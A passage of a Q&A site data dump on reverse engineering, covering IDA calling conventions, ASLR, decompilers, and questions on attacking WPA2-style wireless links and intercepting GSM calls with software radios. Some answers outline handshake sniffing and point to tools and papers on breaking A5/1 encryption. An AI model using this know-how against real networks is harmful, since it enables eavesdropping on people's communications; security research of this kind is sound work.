  <row Id="2956" PostTypeId="1" AcceptedAnswerId="2961" CreationDate="2013-10-26T16:24:56.680" Score="3" ViewCount="225" Body="&lt;p&gt;Scenario: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Two devices have wireless connect. ( like wi-fi )&lt;/li&gt;&#xA;&lt;li&gt;Probably encrypted. ( like wi-fi's WPA2 )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which instruments are best for discovering carrier frequency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How encrypted-text should be gathered to attack on it ( kind of software, e.g. something like &lt;a href=&quot;http://br1.einfach.org/tech/horst/&quot; rel=&quot;nofollow&quot;&gt;horst&lt;/a&gt;, but more broad )?&lt;/p&gt;&#xA;" OwnerUserId="3054" LastEditorUserId="189" LastEditDate="2013-10-30T14:10:53.687" LastActivityDate="2013-10-30T14:10:53.687" Title="Attack on wireless interconnection" Tags="|tools|hardware|encryption|physical-attacks|" AnswerCount="2" CommentCount="6" ClosedDate="2013-10-30T14:13:05.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="2957" PostTypeId="2" ParentId="283" CreationDate="2013-10-26T17:36:26.080" Score="3" Body="&lt;p&gt;FSL - &lt;a href=&quot;https://github.com/fabaff/security-lab&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fedora Security Lab&lt;/a&gt; (also known as &lt;a href=&quot;https://fedoraproject.org/wiki/Security_Lab?rd=Security_Spin&quot; rel=&quot;nofollow noreferrer&quot;&gt;​Fedora Security Spin&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Fedora Security Spin is a livecd based on Fedora to provide a safe&#xA;  test-environment for working on security-auditing, forensics and&#xA;  penetration-testing, coupled with all the Fedora-Security features and&#xA;  tools.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3054" LastEditorUserId="18563" LastEditDate="2019-01-17T07:04:20.737" LastActivityDate="2019-01-17T07:04:20.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2958" PostTypeId="2" ParentId="2956" CreationDate="2013-10-26T18:02:16.603" Score="4" Body="&lt;p&gt;I would say &lt;a href=&quot;http://www.secpoint.com/wifi-wpa-wpa2-encryption-cracking-guide&quot; rel=&quot;nofollow&quot;&gt;this guide&lt;/a&gt; is a good place to start. However, this is assuming when you say &quot;wifi-like&quot; you mean very similar to authentication using WPA2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cracking WPA2 is a little more complex than WEP, for example. The initialization code for WPA2 uses a four-way handshake to properly initialize all of the vectors that are used in the actual encrypting. So in order to properly break it you need to sniff the traffic that gets sent back and forth during a session initialization. However, because this is a WiFi it's not uncommon for packets to not be sniffed properly. So you should be aware that you may have to initialize the connection more than one time. Again, see the link I posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for not knowing the carrier frequency there are a few ways to approach the issue. As the link pointed out they suggest getting an antenna. This is the best option when you're doing anything with WiFi. However, if you have reason to believe the access point is on a standard frequency discovering it could be as simple as an App on a smartphone to search for networks. But if you're doing this with any kind of frequency you should get an antenna and look for some guides on how to interact with it; they're all over the place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach would be to look at the client. Since you asked this question on an RE forum I'm assuming you have access to at least one of the access points so you can attack it from that angle and try to trace what happens when the connection is initiated.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2013-10-26T18:02:16.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2959" PostTypeId="2" ParentId="2054" CreationDate="2013-10-26T18:07:37.627" Score="1" Body="&lt;p&gt;You can mark your entrypoint as &lt;em&gt;unexplored&lt;/em&gt; (U) and then mark it as &lt;em&gt;code&lt;/em&gt; (C) your segment: Hopper will re-analyse it, as code.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-10-26T18:07:37.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2960" PostTypeId="2" ParentId="1999" CreationDate="2013-10-26T18:18:35.303" Score="9" Body="&lt;p&gt;There are several tools dedicated to Python's bytecode reversing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gstarnberger/uncompyle&quot; rel=&quot;nofollow noreferrer&quot;&gt;Uncompyle&lt;/a&gt; and &lt;a href=&quot;https://github.com/fry/uncompyle2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Uncompyle2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;'uncompyle' converts Python byte-code back into equivalent Python&#xA;  source. It accepts byte-code from Python version 2.7 only. The generated source is very readable: docstrings, lists, tuples and hashes get pretty-printed. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;'uncompyle' may also verify the equivalence of the generated source by&#xA;  by compiling it and comparing both byte-codes.&#xA;  'uncompyle' is based on John Aycock's generic small languages compiler&#xA;  '&lt;a href=&quot;http://www.csr.uvic.ca/~aycock/python/&quot; rel=&quot;nofollow noreferrer&quot;&gt;spark&lt;/a&gt;' and his prior work on&#xA;  'decompyle'.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/MyNameIsMeerkat/pyREtic&quot; rel=&quot;nofollow noreferrer&quot;&gt;pyREtic&lt;/a&gt;, that is more a powerful framework than a simple program&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;pyREtic is an extensible framework to assist in performing various reverse engineering tasks for Python language projects. It assists a reverse engineer in gaining sourcecode (.py's) back from bytecode (.pyc's), in particular it assists when the code that is being reversed has put some effort into trying to stop decompilation using standard toolsets.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/zrax/pycdc&quot; rel=&quot;nofollow noreferrer&quot;&gt;pycdc&lt;/a&gt;, which works better than uncompyle, and is simpler to use than pyRetic&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Decompyle++ aims to translate compiled Python byte-code back into valid and human-readable Python source code. While other projects have achieved this with varied success, Decompyle++ is unique in that it seeks to support byte-code from any version of Python.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Decompyle++ includes both a byte-code disassembler (pycdas) and a decompiler (pycdc).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;https://bitbucket.org/larry/maynard&quot; rel=&quot;nofollow noreferrer&quot;&gt;Manyard&lt;/a&gt; framework, which is dedicated to Python3&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="53" LastEditDate="2017-08-16T08:37:01.043" LastActivityDate="2017-08-16T08:37:01.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2961" PostTypeId="2" ParentId="2956" CreationDate="2013-10-26T19:37:17.507" Score="3" Body="&lt;p&gt;If &quot;something like wi-fi&quot; means it's radio but not really 802.11, you might want to take a look at Software Defined Radio projects. As the question isn't really clear, your mileage may vary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are numerous hardware tools you can use. &#xA;From relatively expensive tools like &lt;a href=&quot;http://nuand.com/bladeRF&quot; rel=&quot;nofollow&quot;&gt;bladeRF&lt;/a&gt; and &lt;a href=&quot;http://greatscottgadgets.com/hackrf/&quot; rel=&quot;nofollow&quot;&gt;hackRF&lt;/a&gt; to really cheap alternatives like &lt;a href=&quot;http://sdr.osmocom.org/trac/wiki/rtl-sdr&quot; rel=&quot;nofollow&quot;&gt;rtl-sdr&lt;/a&gt;. You'd probably need to do some research on how to actually use them for what you want. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-10-26T19:37:17.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2962" PostTypeId="1" AcceptedAnswerId="2973" CreationDate="2013-10-27T07:15:54.770" Score="17" ViewCount="13648" Body="&lt;p&gt;I would like to know what is needed to intercept GSM communications with an &lt;a href=&quot;http://en.wikipedia.org/wiki/Universal_Software_Radio_Peripheral&quot;&gt;USRP&lt;/a&gt; (Universal Software Radio Peripheral) and using &lt;a href=&quot;http://gnuradio.org/&quot;&gt;Gnu Radio&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there tutorial about that ?&lt;/li&gt;&#xA;&lt;li&gt;What type of USRP is recommended ?&lt;/li&gt;&#xA;&lt;li&gt;Where to find technical documentation about the GSM protocols ?&lt;/li&gt;&#xA;&lt;li&gt;Is there already existing tools to break the A5/1 encryption ?&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All in one, my question is more about looking for advices about &quot;&lt;strong&gt;where to start ?&lt;/strong&gt;&quot; when trying to understand GSM communication.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-10-28T08:40:53.700" LastActivityDate="2013-10-31T22:33:04.247" Title="Intercepting GSM communications with an USRP and Gnu Radio" Tags="|radio-interception|gnu-radio|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2963" PostTypeId="2" ParentId="2962" CreationDate="2013-10-27T09:05:25.150" Score="12" Body="&lt;p&gt;&lt;a href=&quot;https://twitter.com/domi007&quot;&gt;@domi007&lt;/a&gt; recently published a &lt;a href=&quot;http://domonkos.tomcsanyi.net/?p=418&quot;&gt;series of blog posts&lt;/a&gt; detailing his efforts on snooping and decrypting GSM. Insted of USRP, he used &lt;a href=&quot;http://sdr.osmocom.org/trac/wiki/rtl-sdr&quot;&gt;rtlsdr&lt;/a&gt;. He also used an &lt;a href=&quot;http://bb.osmocom.org/trac/&quot;&gt;osmocomBB&lt;/a&gt; enabled phone. His efforts build upon the research done by Karsten Nohl on &lt;a href=&quot;https://events.ccc.de/congress/2009/Fahrplan/events/3654.en.html&quot;&gt;cracking GSM&lt;/a&gt; (you can see the video too) and his ~1.5 terabyte of rainbow tables. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-10-27T09:05:25.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2964" PostTypeId="1" AcceptedAnswerId="2965" CreationDate="2013-10-27T09:31:07.690" Score="15" ViewCount="10757" Body="&lt;p&gt;I have some code (I assume Delphi) which uses only the EAX and EDX register for passing the arguments (and of course the stack if more are required). I looked which calling conventions would match, but I haven't found one which uses only EAX and EDX. &#xA;AFAIK Borland fastcall/register is using EAX and EDX, but also ECX, which is not the case here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I tell IDA somehow about this calling convention? How would I do this?&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2017-01-20T08:14:04.920" Title="Which calling convention to use for EAX/EDX in IDA" Tags="|ida|calling-conventions|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2965" PostTypeId="2" ParentId="2964" CreationDate="2013-10-27T10:11:54.340" Score="24" Body="&lt;p&gt;you can add a function type by editing it (Key Y) and adding the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a &lt;a href=&quot;http://code.google.com/p/corkami/wiki/CallingConventions&quot; rel=&quot;noreferrer&quot;&gt;page&lt;/a&gt; to remind me about calling conventions at ASM level.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Introduction&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;the original call is &lt;code&gt;myfunc(0,1,2,3,4)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;standard order is first argument is pushed last.&lt;/li&gt;&#xA;&lt;li&gt;standard stack adjusting is '&lt;em&gt;callee cleanup&lt;/em&gt;' - after returning, the stack should be without its calling arguments. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: the stack looks vertically like the call order.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;stdcall (stack only)&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    4&#xA;push    3&#xA;push    2&#xA;push    1&#xA;push    0&#xA;call    myfunc&#xA;xor     eax,eax&#xA;retn    10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Fastcall (ecx, edx)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is actually Microsoft's fastcall.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    4&#xA;push    3&#xA;push    2&#xA;mov     edx,1&#xA;xor     ecx,ecx&#xA;call    myfunc&#xA;xor     eax,eax&#xA;retn    10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;CDECL &amp;amp; syscall (caller cleanup)&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    4&#xA;push    3&#xA;push    2&#xA;push    1&#xA;push    0&#xA;call    myfunc&#xA;add     esp,014&#xA;xor     eax,eax&#xA;retn    10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Pascal (reverse order, ebx saved, even if ebx is unused...)&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebx&#xA;push    0&#xA;push    1&#xA;push    2&#xA;push    3&#xA;push    4&#xA;call    myfunc&#xA;xor     eax,eax&#xA;pop     ebx&#xA;retn    10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Fortran/watcall (eax, edx, ebx, ecx, then stack - ebx is saved)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Apparently it's not so clear what the fortran calling convention is, and this one is even different from raymond's post's The &lt;code&gt;__fortran&lt;/code&gt; calling convention isn't the calling convention used by FORTRAN.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebx&#xA;push    4&#xA;mov     ecx,3&#xA;mov     ebx,2&#xA;mov     edx,1&#xA;xor     eax,eax&#xA;call    myfunc&#xA;xor     eax,eax&#xA;pop     ebx&#xA;retn    10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Delphi 'registers' calling convention (default)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Uses &lt;code&gt;eax&lt;/code&gt;, &lt;code&gt;ecx&lt;/code&gt;, &lt;code&gt;edx&lt;/code&gt; as first 3 arguments. Other arguments are pushed on stack in reverse order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    3&#xA;push    4&#xA;mov     ecx, 2&#xA;mov     edx, 1&#xA;xor     eax,eax&#xA;call    myfunc&#xA;xor     eax,eax&#xA;retn    10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="188" LastEditorUserId="3013" LastEditDate="2017-01-20T08:14:04.920" LastActivityDate="2017-01-20T08:14:04.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2966" PostTypeId="1" AcceptedAnswerId="2969" CreationDate="2013-10-27T10:52:42.373" Score="4" ViewCount="367" Body="&lt;p&gt;Why do IDA and Ollydbg always open some programs with the main() function at the same address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address given by IDA is equal to that given by Ollydbg in runtime. However, when I wrote my own C app and ran it, the address of &lt;code&gt;main()&lt;/code&gt; was always different between each runtime in Ollydbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In IDA, though, there was always the same address, never equal to the one given by Ollydbg, which looked like just some relative address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this caused by the compiler or by something else?&lt;/p&gt;&#xA;" OwnerUserId="3061" LastEditorUserId="151" LastEditDate="2013-12-01T21:48:00.723" LastActivityDate="2013-12-01T21:48:00.723" Title="Some programs have always same addressing and some different" Tags="|ida|debuggers|ollydbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2967" PostTypeId="2" ParentId="1370" CreationDate="2013-10-27T11:15:14.137" Score="1" Body="&lt;p&gt;I would like to reccomend you &lt;a href=&quot;http://www.neshkov.com/ac_decompiler.html&quot; rel=&quot;nofollow&quot;&gt;AndroChef Java Decompiler&lt;/a&gt;&#xA;AndroChef Java Decompiler successfully decompiles obfuscated Java 6 and Java 7 .class and .jar files. &lt;/p&gt;&#xA;" OwnerUserId="3062" LastActivityDate="2013-10-27T11:15:14.137" CommentCount="1" CommunityOwnedDate="2015-03-20T16:24:07.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="2968" PostTypeId="2" ParentId="2964" CreationDate="2013-10-27T13:33:41.897" Score="12" Body="&lt;p&gt;If you run into a calling convention which is not covered by any of the standard calling conventions you can use the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1361.shtml&quot; rel=&quot;noreferrer&quot;&gt;__usercall or __userpurge calling convention&lt;/a&gt; which allows you to specify which arguments are passed where. The syntax is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;return_type __usercall function_name&amp;lt;&lt;i&gt;registers&lt;/i&gt;&amp;gt;(arg0_type arg0&amp;lt;&lt;i&gt;registers&lt;/i&gt;&amp;gt;, arg1_type arg1&amp;lt;&lt;i&gt;registers&lt;/i&gt;&amp;gt;, ...)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;i&gt;registers&lt;/i&gt; can be a grouping of registers separated by the ':' character if the argument occupies more than one register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're in a really shitty spot calling convention wise you can use the full syntax as described &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1492.shtml&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. Where you instead of simply typing the register name holding the argument you can describe arguments being passed in parts of registers or stack elements. The syntax is as above only with &lt;i&gt;registers&lt;/i&gt; replaced by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&amp;lt;argoff:register^regoff.size&amp;gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if the argument is passed on the stack&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&amp;lt;argoff:^stkoff.size&amp;gt;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="70" LastEditorUserId="60" LastEditDate="2013-11-10T18:40:09.953" LastActivityDate="2013-11-10T18:40:09.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2969" PostTypeId="2" ParentId="2966" CreationDate="2013-10-27T14:53:08.803" Score="4" Body="&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Address_space_layout_randomization&lt;/a&gt; -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Address space layout randomization (ASLR)&lt;/strong&gt; is a computer security&#xA;  technique involved in protection from buffer overflow attacks. In&#xA;  order to prevent an attacker from reliably jumping to a particular&#xA;  exploited function in memory (for example), ASLR involves randomly&#xA;  arranging the positions of key data areas of a program, including the&#xA;  base of the executable and the positions of the stack, heap, and&#xA;  libraries, in a process's address space.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can disable ASLR in your C app at build-time by using the linker option &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/bb384887.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;/DYNAMICBASE:NO&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-10-27T14:53:08.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2970" PostTypeId="1" AcceptedAnswerId="2971" CreationDate="2013-10-27T15:25:17.123" Score="3" ViewCount="1522" Body="&lt;p&gt;So I have some encrypted data in this executable. IDA couldn't do much with it, so it defined it as arrays. Now I know how to decrypt this data, and it has some encrypted code. I could of course, put the encrypted data into some separate file, run the decryption on it, and then let IDA process it, but then it looses connection to the original executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to replace the encrypted data 1:1 with the decrypted one, so I can let IDA process it, in the context of the executable?&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2013-10-27T16:17:28.097" Title="Put encrypted code blocks back as unencrypted in IDA" Tags="|ida|decryption|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2971" PostTypeId="2" ParentId="2970" CreationDate="2013-10-27T16:11:25.587" Score="4" Body="&lt;p&gt;Depending on the layout of the binary, where the data you want to modify is and how complex the transformation is I would pick one of the following solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the transformation is simple and can be trivially done in a hex editor using one of its built in operations I would open the original input file in the hex editor, run the transformation and then in IDA select File, Load File, Reload the Input file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the transformation is complex and/or results in a new segment being mapped I would create an IDC or IDAPython script which does the transformation for you. The &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow&quot;&gt;documentation for IDAPython&lt;/a&gt; can be found on hex rays website. The &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/162.shtml&quot; rel=&quot;nofollow&quot;&gt;documentation for IDC&lt;/a&gt; can also be found on their website. They also have a small set of &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/idc/index.shtml&quot; rel=&quot;nofollow&quot;&gt;IDC tutorials&lt;/a&gt; on there. IDC functions you're particularly interested in are: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/299.shtml&quot; rel=&quot;nofollow&quot;&gt;AddSeg()&lt;/a&gt;, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1321.shtml&quot; rel=&quot;nofollow&quot;&gt;Qword()&lt;/a&gt;, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/252.shtml&quot; rel=&quot;nofollow&quot;&gt;Dword()&lt;/a&gt;, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/251.shtml&quot; rel=&quot;nofollow&quot;&gt;Word()&lt;/a&gt;, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/249.shtml&quot; rel=&quot;nofollow&quot;&gt;Byte()&lt;/a&gt;, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/679.shtml&quot; rel=&quot;nofollow&quot;&gt;PatchDword()&lt;/a&gt;, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/714.shtml&quot; rel=&quot;nofollow&quot;&gt;PatchWord()&lt;/a&gt;, &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/713.shtml&quot; rel=&quot;nofollow&quot;&gt;PatchByte()&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="70" LastActivityDate="2013-10-27T16:11:25.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2972" PostTypeId="2" ParentId="2970" CreationDate="2013-10-27T16:17:28.097" Score="4" Body="&lt;p&gt;Just debug the file in IDA itself and &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1470.shtml&quot; rel=&quot;nofollow&quot;&gt;take a memory snapshot&lt;/a&gt; once the data is decrypted.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-10-27T16:17:28.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2973" PostTypeId="2" ParentId="2962" CreationDate="2013-10-27T21:23:31.123" Score="23" Body="&lt;p&gt;As mentioned above by 0xea, &lt;a href=&quot;https://twitter.com/domi007&quot;&gt;@domi007&lt;/a&gt; published 4 blog posts (&lt;a href=&quot;http://domonkos.tomcsanyi.net/?p=418&quot;&gt;1&lt;/a&gt;,&lt;a href=&quot;http://domonkos.tomcsanyi.net/?p=422&quot;&gt;2&lt;/a&gt;,&lt;a href=&quot;http://domonkos.tomcsanyi.net/?p=425&quot;&gt;3&lt;/a&gt;,&lt;a href=&quot;http://domonkos.tomcsanyi.net/?p=428&quot;&gt;4&lt;/a&gt;) detailing his experience with GSM sniffing and cracking. He also published his &lt;a href=&quot;https://www.youtube.com/watch?v=3cnnQFP3VqE&quot;&gt;recorded presentation&lt;/a&gt; about GSM security (&lt;a href=&quot;http://camp.hsbp.org/2013/zer0/gsm.pdf&quot;&gt;slides&lt;/a&gt;). &#xA;On the same topic, there's also &lt;a href=&quot;http://binaryrf.com/viewtopic.php?t=6&amp;amp;f=9&quot;&gt;Sniffing GSM with HackRF&lt;/a&gt;, &lt;a href=&quot;http://www.rtl-sdr.com/rtl-sdr-tutorial-analyzing-gsm-with-airprobe-and-wireshark/&quot;&gt;Analyzing GSM with Airprobe and Wireshark&lt;/a&gt;, three Chaos Computer Club presentations (One discussing &lt;a href=&quot;https://www.youtube.com/watch?v=ZrbatnnRxFc&quot;&gt;Wideband GSM sniffing&lt;/a&gt;, another discussing the &lt;a href=&quot;https://www.youtube.com/watch?v=9wwco24EsHs&quot;&gt;functioning of GSM networks&lt;/a&gt;) and the one mentioned &lt;a href=&quot;https://events.ccc.de/congress/2009/Fahrplan/events/3654.en.html&quot;&gt;above&lt;/a&gt; about GSM Cracking. Last but not least, there's also a Black Hat 2008 Presentation called &quot;Intercepting Mobile Phone/GSM Traffic&quot;, by David Hulton and Steve &lt;a href=&quot;http://www.blackhat.com/html/featured_media/bh08-002-Stream-1.mov&quot;&gt;video (.mov)&lt;/a&gt;.&#xA;Observation : There's also &lt;a href=&quot;https://srlabs.de/airprobe-how-to/&quot;&gt;this tutorial by Srlabs&lt;/a&gt;, which uses their own tool, Kraken, that covers decrypting GSM using Airprobe and the &lt;a href=&quot;https://svn.berlin.ccc.de/projects/airprobe/wiki/A&quot;&gt;Airprobe's own tutorial&lt;/a&gt; on decoding GSM.&#xA;When choosing your SDR, I suggest you read &lt;a href=&quot;http://www.taylorkillian.com/2013/08/sdr-showdown-hackrf-vs-bladerf-vs-usrp.html&quot;&gt;this comparison&lt;/a&gt; about &lt;a href=&quot;http://greatscottgadgets.com/hackrf/&quot;&gt;HackRF&lt;/a&gt;, &lt;a href=&quot;http://nuand.com/&quot;&gt;bladeRF&lt;/a&gt; and the &lt;a href=&quot;https://www.ettus.com/product/details/UB210-KIT&quot;&gt;USRP B210&lt;/a&gt;. There is also &lt;a href=&quot;http://sdr.osmocom.org/trac/wiki/rtl-sdr&quot;&gt;RTL-SDR&lt;/a&gt; . They are all quite nice. I also suggest using &lt;a href=&quot;http://gqrx.dk/&quot;&gt;Gqrx&lt;/a&gt; as it's built on Gnuradio and has a neat interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Architecture and theory wise, I'd recommend &lt;a href=&quot;https://docs.google.com/viewer?url=http://www2.informatik.hu-berlin.de/~goeller/isdn/GSMDmChannels.pdf&quot;&gt;About GSM Dm Channels&lt;/a&gt;, which is a quite complete and detailed beginner paper that explains the GSM Architecture and how it works. I also recommend &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470030704&quot;&gt;GSM - Architecture, Protocols and Services&lt;/a&gt; and &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B004W7DNWY&quot;&gt;4G: LTE/LTE-Advanced for Mobile Broadband&lt;/a&gt; (if considering LTE), which provide further information and details about the functioning of GSM for those that want to delve into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding GSM Encryption and its flaws, I suggest &lt;a href=&quot;https://docs.google.com/viewer?url=http%3A%2F%2Fwww.cs.technion.ac.il%2Fusers%2Fwwwb%2Fcgi-bin%2Ftr-get.cgi%2F2006%2FCS%2FCS-2006-07.pdf&quot;&gt;Instant Ciphertext-Only Cryptanalysis of GSM Encrypted Communication&lt;/a&gt;, which discusses ciphertext attacks on A5/(1,2,3), &lt;a href=&quot;https://docs.google.com/viewer?url=http://www.emsec.rub.de/media/crypto/attachments/files/2010/04/da_gendrullis.pdf&quot;&gt;Hardware-based Cryptanalysis of the GSM A5/1 Encryption Algorithm&lt;/a&gt; - includes a 2 page brief on A5/1 and then goes on to the cryptoanalysis - and &lt;a href=&quot;https://docs.google.com/viewer?url=http://cryptome.org/a5-3-attack.pdf&quot;&gt;A Practical-Time Attack on the A5/3 Cryptosystem Used in Third Generation GSM Telephony&lt;/a&gt; - discusses attacks on A5/3. Finally, there is also &lt;a href=&quot;http://cryptome.org/a51-bsw.htm&quot;&gt;Real Time Cryptanalysis of A5/1 on a PC&lt;/a&gt;, a very nice document called &lt;a href=&quot;http://www.researchgate.net/publication/235339185_Security_of_3G_and_LTE&quot;&gt;Security of 3G and LTE&lt;/a&gt; that discusses the security architecture and the attacks on it's flaws, and &lt;a href=&quot;https://docs.google.com/viewer?url=http://www.bolet.org/~pornin/2000-ches-pornin%2bstern.pdf&quot;&gt;Software Hardware Trade-offs - Applications to A5/1 Cryptanalysis&lt;/a&gt; - another nice paper on A5/1. Observations : You can find the specifications for A5/3 in the &lt;a href=&quot;http://www.3gpp.org/Confidentiality-Algorithms&quot;&gt;middle of this page&lt;/a&gt;. There are also two Blackhat presentions that cover part of those papers in a succinct way &lt;a 